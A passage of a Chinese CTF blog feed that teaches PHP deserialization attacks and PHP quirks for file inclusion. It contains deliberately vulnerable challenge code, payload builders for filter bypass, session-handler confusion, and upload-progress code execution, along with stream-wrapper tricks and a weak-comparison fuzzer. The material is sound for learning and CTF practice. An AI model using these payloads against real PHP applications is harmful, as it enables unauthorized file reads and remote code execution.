class="variable language_">$this</span>->user = <span class="variable">$_GET</span>[<span class="string">'user'</span>]; </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="variable language_">$this</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'input'</span>])) {</span><br><span class="line"> <span class="variable">$input</span> = <span class="variable">$_GET</span>[<span class="string">'input'</span>]; </span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">stristr</span>(<span class="variable">$input</span>, <span class="string">'user'</span>) !== <span class="literal">false</span>) {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'Hacker'</span>); </span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="title function_ invoke__">unserialize</span>(<span class="variable">$input</span>);</span><br><span class="line"> }</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们可以发现这么一个链子 <code>__wakeup()</code> -> <code>__destruct()</code> -> <code>__toString()</code>,在 <code>__toString()</code> 中存在可利用的函数 <code>file_get_contents</code>。</p><p>但是 <code>__wakeup()</code> 中的 name 字段被重新赋值了,而高版本 PHP 中并不能绕过 <code>__wakeup()</code>,怎么办?</p><p>发现 user 是我们能控制的,那么可以借助引用将 name 绑定到 user 上去,而且 user 的赋值正好在 name 赋值之后!</p><p>但是在最开始的 input 过滤了 user,我们可以利用结构里提到的 S 类型绕过。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyFile</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$name</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$user</span>;</span><br><span class="line">}</span><br><span class="line"><span class="variable">$x</span> = <span class="keyword">new</span> <span class="title class_">MyFile</span>();</span><br><span class="line"><span class="variable">$x</span>->user = <span class="string">""</span>;</span><br><span class="line"><span class="variable">$x</span>->name = &<span class="variable">$x</span>->user;</span><br><span class="line"><span class="variable">$payload</span> = <span class="title function_ invoke__">serialize</span>(<span class="variable">$x</span>);</span><br><span class="line"><span class="variable">$payload</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">"user"</span>, <span class="string">"use\\72"</span>, <span class="variable">$payload</span>);</span><br><span class="line"><span class="variable">$payload</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">"s:"</span>, <span class="string">"S:"</span>, <span class="variable">$payload</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$payload</span>;</span><br></pre></td></tr></table></figure><p>得到 payload:<code>?input=O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"use\72";R:2;}&user=flag.php</code></p><h3 id="SESSION反序列化">SESSION反序列化</h3><h4 id="SESSION机制">SESSION机制</h4><p>假如有以下代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$_SESSION</span>[<span class="string">'count'</span>])) {</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'count'</span>] = <span class="number">1</span>;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'count'</span>]++;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"><p></span><br><span class="line">Hello visitor, you have seen this page <span class="meta"><?php</span> <span class="keyword">echo</span> <span class="variable">$_SESSION</span>[<span class="string">'count'</span>]; <span class="meta">?></span> times.</span><br><span class="line"></p></span><br></pre></td></tr></table></figure><p>如果你第一次访问这个页面,它会在服务器生成一个名为 <code>sess_<SID></code> 的 session 文件,并将 SID 保存到 cookie 中,以供下次会话时使用。</p><p>这个过程中,会填充 <code>$_SESSION</code> 超级全局变量,并在程序结束时将其序列化储存在 session 文件中。</p><p>说是序列化其实和常规的 serialize 有一定的差异,在这里存在多种序列化方式,可在 session.serialize_handler 配置项进行更改,默认是 php。</p><table><thead><tr><th>引擎</th><th>存储方式</th></tr></thead><tbody><tr><td>php</td><td><code><key>|<serialized_value></code></td></tr><tr><td>php_binary</td><td><code><chr(key)><key><serialized_value></code></td></tr><tr><td>php_serialize</td><td><code><serialized_session></code></td></tr></tbody></table><br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">'session.serialize_handler'</span>, <span class="string">'php'</span>);</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">'handler'</span>] = <span class="string">'php'</span>;</span><br><span class="line"><span class="comment">// handler|s:3:"php";</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">'session.serialize_handler'</span>, <span class="string">'php_binary'</span>);</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">'handler'</span>] = <span class="string">'php_binary'</span>;</span><br><span class="line"><span class="comment">// handlers:10:"php_binary";</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">'session.serialize_handler'</span>, <span class="string">'php_serialize'</span>);</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">'handler'</span>] = <span class="string">'php_serialize'</span>;</span><br><span class="line"><span class="comment">// a:1:{s:7:"handler";s:13:"php_serialize";}</span></span><br></pre></td></tr></table></figure><h4 id="引擎不同导致的漏洞">引擎不同导致的漏洞</h4><p>一般来说 session 是用户有限更改的或是在后端控制之下的。但是如果在同一个 web 应用中用了两个引擎就可能出现这个漏洞。有一说一,这种漏洞也挺离谱的,不像是正常环境能出来的,只要不在代码里自定义引擎就不会有这种 bug 产生。</p><p>产生的原因是 php 和 php_serialize 引擎在处理 | 的时候是不同的行为。</p><p>如果生成 session 是用 php_serialize,读取 session 是用 php,| 在 php_serialize 眼中只是一个普通字符,但在 php 眼中却是键名和键值的分隔符。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// login.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">'session.serialize_handler'</span>, <span class="string">'php_serialize'</span>);</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'user'</span>])) {</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'user'</span>] = <span class="variable">$_GET</span>[<span class="string">'user'</span>];</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"login success!"</span>;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"login first!"</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// index.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">'session.serialize_handler'</span>,<span class="string">'php'</span>);</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$name</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"hello "</span>.<span class="variable language_">$this</span>->name.<span class="string">"!<br>"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"is there something wrong?"</span>;</span><br></pre></td></tr></table></figure><p>构造 payload:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$name</span>;</span><br><span class="line">}</span><br><span class="line"><span class="variable">$user</span> = <span class="keyword">new</span> <span class="title class_">User</span>();</span><br><span class="line"><span class="variable">$user</span>->name = <span class="string">"233"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"|"</span>.<span class="title function_ invoke__">serialize</span>(<span class="variable">$user</span>);</span><br></pre></td></tr></table></figure><p>先访问 <code>login.php?user=/login.php?user=|O:4:"User":1:{s:4:"name";s:3:"233";}</code></p><p>然后访问 index.php 就能发现 <code>__wakeup()</code> 魔术方法被调用了。</p><h4 id="SESSION上传进度">SESSION上传进度</h4><p>在 <code>session.upload_progress.enabled = On</code> 的情况下,session 文件会记录文件上传的进度,这就意味着 session 文件内容可控,则可能产生反序列化漏洞。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">//A webshell is wait for you</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">'session.serialize_handler'</span>, <span class="string">'php'</span>);</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Shell</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$shell</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->shell = <span class="string">'phpinfo();'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">eval</span>(<span class="variable language_">$this</span>->shell);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'phpinfo'</span>])) {</span><br><span class="line"> <span class="variable">$m</span> = <span class="keyword">new</span> <span class="title class_">Shell</span>();</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="title function_ invoke__">highlight_string</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="string">'index.php'</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后得到 <code>session.upload_progress.enabled=On</code> 以及 <code>session.upload_process.name</code>。</p><p>构造 payload,传递表单:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Shell</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$shell</span> = <span class="string">'print_r(scandir(dirname(__FILE__)));'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="variable">$x</span> = <span class="keyword">new</span> <span class="title class_">Shell</span>();</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"><form action=<span class="string">"http://localhost/index.php"</span> method=<span class="string">"POST"</span> enctype=<span class="string">"multipart/form-data"</span>></span><br><span class="line"> <input type=<span class="string">"hidden"</span> name=<span class="string">"PHP_SESSION_UPLOAD_PROGRESS"</span> value=<span class="meta"><?=</span> <span class="string">"|"</span>.<span class="title function_ invoke__">serialize</span>(<span class="variable">$x</span>); <span class="meta">?></span> /></span><br><span class="line"> <input type=<span class="string">"file"</span> name=<span class="string">"file"</span> /></span><br><span class="line"> <input type=<span class="string">"submit"</span> /></span><br><span class="line"></form></span><br></pre></td></tr></table></figure><p>就能任意执行 PHP 代码了。</p><p>但是一般来说在 <code>session.upload_progress.cleanup = On</code> 的情况下(默认情况下),新建的上传进度马上就会被销毁,导致反序列化失败,我们需要利用条件竞争,让服务器在没反应过来删除的时候成功反序列化。</p><p>可以利用 BurpSuite 的 intruder 模块多线程发包。</p>]]></content>
<summary type="html"><p>序列化和反序列化是非常重要的概念,不仅仅存在于 CTF,也广泛的存在于平时操作中,本文就介绍一下序列化、反序列化的基础知识以及常见的可能出现的漏洞。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="Web" scheme="https://sxyugao.top/categories/CTF/Web/"/>
<category term="PHP" scheme="https://sxyugao.top/tags/PHP/"/>
</entry>
<entry>
<title>PHP中的一些语法特性</title>
<link href="https://sxyugao.top/p/e31149de.html"/>
<id>https://sxyugao.top/p/e31149de.html</id>
<published>2022-02-21T02:15:14.000Z</published>
<updated>2023-04-09T09:09:05.111Z</updated>
<content type="html"><![CDATA[<p>整理了一些 PHP 中的一些常在 CTF 比赛中用到的语法特性,也算是自用笔记。</p><span id="more"></span><h2 id="短标签">短标签</h2><p>常见的 PHP 代码都被类似 <code><?php ...... ?></code>,但也支持缩写形式 <code><?= ...... ?></code>,在 <code>short_open_tag</code> 开启的时候也可以使用 <code><? ...... ?></code>。</p><p>其中 <code><?=</code> 是更完整的 <code><?php echo</code> 的简写形式。</p><p>而且单文件时右边可以不闭合,形如 <code><?php ......</code>,其他两个同理。</p><p>应用场景:文件上传或者文件包含时绕过 WAF 或者过滤。</p><div class="info"><p>因为考虑到和 XML 格式的兼容,默认情况下 <code>short_open_tag</code> 是被关闭的。</p></div><h2 id="伪协议">伪协议</h2><p>URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 等文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。</p><p>具体启用了哪些可以在 php_info 中的 <code>Registered PHP Streams</code> 查看。</p><p>应用场景:常和 <code>include</code> <code>file_get_contents</code> 等函数配合使用,实现文件包含。</p><h3 id="file">file://</h3><p>用来访问本地文件,当指定了一个相对路径(不以 /、\、\\ 或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。</p><p>应用场景:读取 flag 或者是某些敏感文件。</p><h3 id="http">http://</h3><p>常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。</p><p>应用场景:通常用于远程包含。</p><h3 id="php">php://</h3><p>用来访问各个输入/输出流。</p><h4 id="php-input">php://input</h4><p>php://input 是个可以访问请求的原始数据的只读流。<code>enctype="multipart/form-data"</code> 的时候 php://input 是无效的。</p><p>会读取 POST DATA 的内容。</p><h4 id="php-filter">php://filter</h4><p>php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 <code>readfile()</code>、<code>file()</code> 和 <code>file_get_contents()</code>,在数据流内容读取之前没有机会应用其他过滤器。</p><table><thead><tr><th style="text-align:left">php://filter 参数</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left">resource=<要过滤的数据流></td><td style="text-align:left">这个参数是必须的。它指定了你要筛选过滤的数据流。</td></tr><tr><td style="text-align:left">read=<读链的筛选列表></td><td style="text-align:left">该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。</td></tr><tr><td style="text-align:left">write=<写链的筛选列表></td><td style="text-align:left">该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。</td></tr><tr><td style="text-align:left"><;两个链的筛选列表></td><td style="text-align:left">任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。</td></tr></tbody></table><p><a href="https://www.php.net/manual/zh/filters.php">完整的可用的过滤器列表</a>,下面只列举一些常用的过滤器。</p><table><thead><tr><th style="text-align:left">字符串过滤器</th><th style="text-align:left">作用</th></tr></thead><tbody><tr><td style="text-align:left">string.rot13</td><td style="text-align:left">等同于str_rot13(),rot13变换</td></tr><tr><td style="text-align:left">string.toupper</td><td style="text-align:left">等同于strtoupper(),转大写字母</td></tr><tr><td style="text-align:left">string.tolower</td><td style="text-align:left">等同于strtolower(),转小写字母</td></tr></tbody></table><br><table><thead><tr><th style="text-align:left">转换过滤器</th><th style="text-align:left">作用</th></tr></thead><tbody><tr><td style="text-align:left">convert.base64-encode</td><td style="text-align:left">等同于 base64_encode(),base64编码</td></tr><tr><td style="text-align:left">convert.base64-decode</td><td style="text-align:left">等同于 base64_decode(),base64解码</td></tr></tbody></table><p>例子:<code>php://filter/read=convert.base64-encode/resource=${file}</code></p><div class="info"><p>php://input 受限于 <code>allow_url_include</code></p></div><h3 id="zlib">zlib://</h3><p>gz 格式文件的解压伪协议,似乎是 PHP 自带实现的?</p><p>例子: <code>compress.zlib://${file.gz}</code></p><h3 id="zip">zip://</h3><p>zip 格式文件的解压伪协议,由 ZIP 扩展注册。</p><p>例子:<code>zip://${archive.zip}#${dir/file}</code>,在实际应用中 <code>#</code> 常用 URL 编码 <code>%23</code> 来代替。</p><div class="danger"><p>如果不存在 ZIP 扩展,则不存在该伪协议。</p></div><h3 id="data">data://</h3><p>data:// — 数据(RFC 2397)</p><p>根据 RFC 文档的规定,一个 data 流格式应如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">dataurl := "data:" [ mediatype ] [ ";base64" ] "," data</span><br><span class="line">mediatype := [ type "/" subtype ] *( ";" parameter )</span><br><span class="line">data := *urlchar</span><br><span class="line">parameter := attribute "=" value</span><br></pre></td></tr></table></figure><p>例子:<code>data://text/plain;base64,ZGF0YQ==</code></p><h3 id="glob">glob://</h3><p>glob:// — 查找匹配的文件路径模式。</p><p>glob 模式使用通配符来广泛的匹配文件名,更加详细的介绍可以看 <a href="https://en.wikipedia.org/wiki/Glob_(programming)">Wiki</a>。</p><p>例子:<code>glob://f[k-m]*</code>,用来匹配以字符串 <code>fl</code> 开头的文件。</p><h3 id="phar">phar://</h3><p>phar:// 用于处理 Phar 数据流,支持多种压缩方式。</p><p>具体启用了哪些压缩方式可以通过 php_info 找到 Phar 模块,表格中有 <code>${type}-based phar archives</code>,其中 <code>type</code> 即为压缩方式。</p><p>例子:<code>phar://${archive.zip}/${file}</code>。</p><p>关于 Phar 还有更多,我会在新的文章里讲到它。</p><div class="info"><p>PHAR (<strong>PH</strong>p <strong>AR</strong>chive) 是 PHP 里类似于 JAR (<strong>J</strong>ava <strong>AR</strong>chive) 的一种打包文件,通常后缀名为 <code>.phar</code>。如果你使用的是 PHP 5.3 或更高版本,那么 Phar 后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。</p></div><h2 id="序列化与反序列化">序列化与反序列化</h2><p>详见<a href="https://sxyugao.top/p/93447acb.html">这篇文章</a></p><h2 id="include-及类似函数">include 及类似函数</h2><p>1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。</p><p>2、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行。</p><div class="info"><p>include_once()、require_once() 功能和 include()、require() 相同,但它们把要加载的文件存放在一个哈希表中,再次加载时检查这个哈希表,如果发现已经加载过则直接跳过。</p></div><p>被包含的文件将继承引入前具有的全部变量范围,比如调用文件前面定义了一些变量,那么这些变量就能够在被包含的文件中使用,反之,被包含文件中定义的变量也将从调用处开始可以被被调用文件所使用。</p><p>被包含文件中定义的函数、类在执行之后将可以被随处使用,即具有全局作用域。</p><p>有趣的是,如果被引入的文件与源文件变量重名,将会覆盖原有的文件中的变量。</p><p>举个例子,现在有两个文件 <code>a.php</code> 和 <code>b.php</code>。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// a.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Fl4g</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"NoNoNo"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="variable">$x</span> = <span class="keyword">new</span> <span class="title class_">Fl4g</span>();</span><br><span class="line"><span class="keyword">include</span>(<span class="string">"b.php"</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$x</span>;</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// b.php</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Flag</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"YesYesYes"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="variable">$x</span> = <span class="keyword">new</span> <span class="title class_">Flag</span>();</span><br></pre></td></tr></table></figure><p>运行 <code>a.php</code> 会输出 <code>YesYesYes</code>,但值得注意的是并不能覆盖定义原有的类,在刚才的例子中类的名字分别为 Fl4g 和 Flag,重名将会报错。</p><p>参考链接:<a href="https://www.kancloud.cn/nickbai/php7/content/4.5include-require.md">https://www.kancloud.cn/nickbai/php7/content/4.5include-require.md</a></p><p><strong>在 <code>allow_url_include</code> 参数开启的情况下允许解析 PHP 伪协议。</strong></p><h2 id="halt-compiler">__halt_compiler</h2><p>用于中断编译器的执行,在 Phar 中则以 <code>__HALT_COMPILER();</code> 来结尾。</p><p>应用场景:发现无法闭合右标签且后面会导致编译错误时可用。</p><h2 id="弱类型比较(-)">弱类型比较(==)</h2><p>强类型,就是强制数据类型定义。也就是说,一旦变量被指定了某个数据类型,如果不经过强制类型转换,那么它永远都是这个数据类型。</p><p>弱类型,对数据类型要求不严格,可以让数据类型随意互相转换,利用这些特性,我们可以对一些条件进行绕过。</p><p>放一段大佬的 fuzz 代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fuzz</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable">$a</span> = [<span class="literal">true</span>, <span class="literal">false</span>, <span class="number">1</span>, <span class="number">0</span>, -<span class="number">1</span>, <span class="string">"1"</span>, <span class="string">"0"</span>, <span class="string">"-1"</span>, <span class="literal">NULL</span>, <span class="keyword">array</span>(), <span class="string">"Array"</span>, <span class="string">"null"</span>, <span class="string">"true"</span>, <span class="string">"false"</span>, <span class="string">""</span>, <span class="number">0e123</span>, <span class="string">"0e123"</span>, <span class="string">"0e0"</span>, <span class="number">0e0</span>, <span class="number">9e999</span>, INF, <span class="string">"9e999"</span>, <span class="string">"INF"</span>, -<span class="number">9e99</span>, <span class="string">"-0e0"</span>, -<span class="number">0e0</span>];</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="title function_ invoke__">sizeof</span>(<span class="variable">$a</span>); <span class="variable">$i</span> ++) {</span><br><span class="line"> <span class="variable">$t</span> = (<span class="keyword">string</span>)<span class="variable">$a</span>[<span class="variable">$i</span>];</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$j</span> = <span class="number">0</span>; <span class="variable">$j</span> < <span class="title function_ invoke__">sizeof</span>(<span class="variable">$a</span>); <span class="variable">$j</span> ++) {</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$t</span> !== <span class="variable">$a</span>[<span class="variable">$j</span>] && <span class="title function_ invoke__">md5</span>(<span class="variable">$t</span>) === <span class="title function_ invoke__">md5</span>(<span class="variable">$a</span>[<span class="variable">$j</span>]) && <span class="variable">$t</span> != <span class="variable">$a</span>[<span class="variable">$j</span>]) {</span><br><span class="line"> <span class="comment">// 这里可以写一些题目里的条件,在这里实际上输出全是 INF</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"--------\n"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"pos:"</span>.<span class="variable">$i</span>.<span class="string">"\n"</span>;</span><br><span class="line"> <span class="title function_ invoke__">var_dump</span>(<span class="variable">$a</span>[<span class="variable">$i</span>]);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"pos:"</span>.<span class="variable">$j</span>.<span class="string">"\n"</span>;</span><br><span class="line"> <span class="title function_ invoke__">var_dump</span>(<span class="variable">$a</span>[<span class="variable">$j</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="title function_ invoke__">fuzz</span>();</span><br></pre></td></tr></table></figure><p>值得一提的是,switch 也是弱类型比较的。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="variable">$a</span> = <span class="string">'1e0'</span>;</span><br><span class="line"><span class="keyword">switch</span> (<span class="variable">$a</span>) {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"1"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> <span class="keyword">echo</span> <span 